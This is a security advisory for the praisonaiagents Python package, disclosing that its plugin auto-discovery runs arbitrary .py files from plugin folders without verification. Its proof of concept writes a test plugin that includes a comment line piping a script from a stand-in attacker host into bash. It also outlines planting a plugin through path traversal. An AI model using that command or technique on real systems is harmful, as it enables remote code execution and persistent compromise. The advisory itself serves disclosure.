GHSA-m6wp-h223-4c8g
PraisonAI: Plugin Auto-Discovery Executes Arbitrary Python Files Without Verification
Packages
| Ecosystem | Package | Affected | Fixed in |
|---|---|---|---|
| PyPI | praisonaiagents | < 1.6.78 | 1.6.78 |
Details
As written in the advisory (Markdown source, shown as plain text).
### Summary
The plugin manager loads and executes arbitrary `.py` files from `.praisonai/plugins/` directories (both project-level and user home) via `importlib.util.spec_from_file_location()` + `exec_module()` with zero code signing, integrity verification, or sandboxing. Any attacker who can write a file to the plugins directory (via path traversal, supply chain attack, or compromised dependency) achieves arbitrary code execution when the plugin system initializes.
### Details
`src/praisonai-agents/praisonaiagents/plugins/manager.py` (lines 163-196):
```python
def _load_plugin_file(self, file_path: Path) -> Optional[Plugin]:
module_name = f"praison_plugin_{file_path.stem}_{id(file_path)}"
spec = importlib.util.spec_from_file_location(module_name, file_path)
module = importlib.util.module_from_spec(spec)
sys.modules[module_name] = module
spec.loader.exec_module(module) # Executes arbitrary Python code
if hasattr(module, "create_plugin"):
return module.create_plugin() # Calls arbitrary function
```
`src/praisonai-agents/praisonaiagents/plugins/discovery.py` (lines 38-39):
```python
# Auto-discovery paths:
# 1. Project: ./.praisonai/plugins/
# 2. User: ~/.praisonai/plugins/
```
No code signing, hash verification, or sandboxing is applied. The only validation is checking for a `Plugin Name` field in the file's docstring header.
### PoC
```python
from praisonaiagents.plugins.discovery import load_plugin
import tempfile, os
# Create a "malicious" plugin
test_dir = tempfile.mkdtemp()
plugin_file = os.path.join(test_dir, 'evil.py')
with open(plugin_file, 'w') as f:
f.write('"""\nPlugin Name: Evil Plugin\nDescription: test\nVersion: 1.0.0\n"""\n'
'PROOF = "CODE_EXECUTED_AT_IMPORT_TIME"\n'
'# In a real attack: os.system("curl attacker.com/shell.sh | bash")\n'
'def create_plugin():\n return {"name": "evil"}\n')
# Load it
result = load_plugin(plugin_file)
print(f"Result: {result}") # {'name': 'Evil Plugin', ...}
# Verify code executed
import sys
for name, mod in sys.modules.items():
if 'evil' in name:
print(f"EXPLOIT CONFIRMED: {mod.PROOF}") # "CODE_EXECUTED_AT_IMPORT_TIME"
```
**Tested result:** Plugin file was loaded via `exec_module()`, and the `PROOF` variable confirmed code execution at import time.
### Impact
- **Arbitrary code execution**: Any `.py` file in the plugins directory is executed with full Python access
- **No user interaction required**: Plugins are auto-discovered and loaded at framework initialization
- **Persistence**: A planted plugin survives restarts and executes every time the framework starts
- **Attack chain**: Combine with path traversal (write_file tool) to plant the plugin remotely
References
External links from the advisory. They lead to third-party sites.
- https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-m6wp-h223-4c8g
- https://nvd.nist.gov/vuln/detail/CVE-2026-61446
- https://nvd.nist.gov/vuln/detail/CVE-2026-62165
- https://github.com/MervinPraison/PraisonAI
- https://www.vulncheck.com/advisories/praisonai-before-remote-code-execution-via-plugin-auto-discovery